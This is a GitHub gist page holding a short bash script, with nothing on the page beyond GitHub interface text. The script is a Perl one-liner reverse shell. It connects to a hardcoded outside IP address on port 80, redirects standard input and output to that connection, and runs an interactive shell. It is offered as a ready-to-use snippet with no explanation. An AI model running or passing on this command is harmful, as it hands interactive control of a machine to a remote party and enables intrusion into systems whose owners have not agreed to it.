Skip to content

Instantly share code, notes, and snippets.

@crypt0rr
Last active August 28, 2024 13:18
Show Gist options
  • Save crypt0rr/3dcb290537bb3b194608f7db5c83aeb1 to your computer and use it in GitHub Desktop.
Save crypt0rr/3dcb290537bb3b194608f7db5c83aeb1 to your computer and use it in GitHub Desktop.
#!/bin/bash
perl -e 'use Socket;$i="5.200.18.86";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment